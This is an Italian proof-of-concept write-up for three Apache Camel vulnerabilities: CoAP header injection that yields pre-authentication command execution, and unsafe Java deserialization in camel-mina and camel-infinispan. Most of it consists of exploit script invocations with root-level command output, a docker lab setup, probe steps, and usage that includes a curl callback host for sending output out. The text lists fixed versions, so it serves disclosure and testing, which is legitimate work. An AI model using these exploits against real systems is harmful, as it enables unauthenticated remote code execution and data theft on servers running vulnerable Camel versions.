
Fornisce proof-of-concept exploit funzionanti e analisi dettagliata per tre vulnerabilità critiche di Apache Camel, inclusa l'iniezione di header CoAP e la deserializzazione non sicura che porta all'esecuzione remota di codice.
Tre vulnerabilità critiche in Apache Camel 4.18.0, scoperte e validate in modo indipendente con proof-of-concept funzionanti.
| CVE | Componente | Tipo | CVSS | Verdetto |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | Header Injection → RCE | 10.0 Critico | Sfruttabile |
| CVE-2026-40473 | camel-mina | Deserializzazione non sicura → RCE | 9.8 Critico | Sfruttabile |
| CVE-2026-40858 | camel-infinispan | Deserializzazione non sicura | 8.8 Alto | Sfruttabile |
Componente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Modifica Controllata Impropriamente degli Attributi degli Oggetti)
Corretto in: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mappa i parametri della query URI CoAP direttamente negli header Camel Exchange tramite setHeader() senza alcun HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint invece di DefaultHeaderFilterStrategyEndpoint, quindi gli header interni con prefisso Camel* possono essere iniettati da qualsiasi client non autenticato.
Quando la route inoltra a camel-exec, gli header controllati dall'attaccante CamelExecCommandExecutable e CamelExecCommandArgs sovrascrivono il comando configurato, ottenendo RCE pre-autenticato tramite un singolo pacchetto UDP.
// CamelCoapResource.java:103-109 — NESSUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Risposta: 2.05
[+] Output del comando: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Output del comando: app bin boot dev etc home lib ...
Componente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Deserializzazione di Dati Non Attendibili)
Corretto in: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) crea un java.io.ObjectInputStream grezzo senza alcun ObjectInputFilter. Quando un endpoint MINA è configurato con allowDefaultCodec=false, i dati TCP grezzi arrivano come IoBuffer e raggiungono il type converter di Camel, che chiama questo metodo — avvolgendo i byte di rete controllati dall'attaccante in un ObjectInputStream non filtrato.
// MinaConverter.java:60-63 — NESSUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // byte controllati dall'attaccante, NESSUN FILTRO
}
Percorso di attacco: L'exploit prende di mira un endpoint TCP MINA con allowDefaultCodec=false (porta 9879 nel PoC). Questo bypassa completamente il layer codec di MINA — ObjectSerializationCodecFactory ha la propria allowlist ClassNameMatcher che altrimenti bloccherebbe classi arbitrarie. Con il codec disabilitato, i byte grezzi fluiscono direttamente a MinaConverter.toObjectInput() che crea un ObjectInputStream standard con zero filtri sulle classi.
Una catena di gadget CommonsCollections6 (tramite ysoserial) ottiene l'esecuzione arbitraria di comandi come root. L'output del comando viene esfiltrato tramite un callback curl verso l'attaccante.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Output del comando:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFERMATO: CVE-2026-40473 RCE — comando eseguito tramite deserializzazione
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Output del comando:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Attendere l'avvio del container, quindi verificare:
docker logs vuln-camel-mina
Dovresti vedere:

[*] Server MINA vulnerabile avviato
[*] Porta 9877: endpoint transferExchange (deser Java)
[*] Porta 9878: endpoint codec serializzazione oggetti
[*] Porta 9879: TCP grezzo (MinaConverter.toObjectInput) endpoint
[*] In attesa di connessioni...
La porta 9879 è il bersaglio — utilizza allowDefaultCodec=false, che disabilita il filtro codec di MINA e consente al IoBuffer grezzo di raggiungere il MinaConverter.toObjectInput() non filtrato di Camel.
Prima, verificare che l'endpoint accetti e deserializzi oggetti Java arbitrari senza alcun ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Modalità probe — conferma della deserializzazione (senza RCE)
[*] Payload: HashMap (82 byte, grezzo — nessun frame MINA)
[+] Connesso all'endpoint MINA
[+] Payload inviato
[+] I dati hanno raggiunto readObject() senza rifiuto del filtro
Il probe invia una HashMap serializzata. Il server la deserializza tramite ObjectInputStream.readObject() senza alcuna InvalidClassException — confermando zero filtri sulle classi.
Con ysoserial disponibile, sfruttare la deserializzazione non filtrata per l'esecuzione arbitraria di comandi:
# Esegui 'id' — restituisce uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Leggi file
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Info di sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
L'exploit genera una catena di gadget CommonsCollections6, la invia come byte grezzi alla porta 9879 e cattura l'output del comando tramite un listener di callback curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]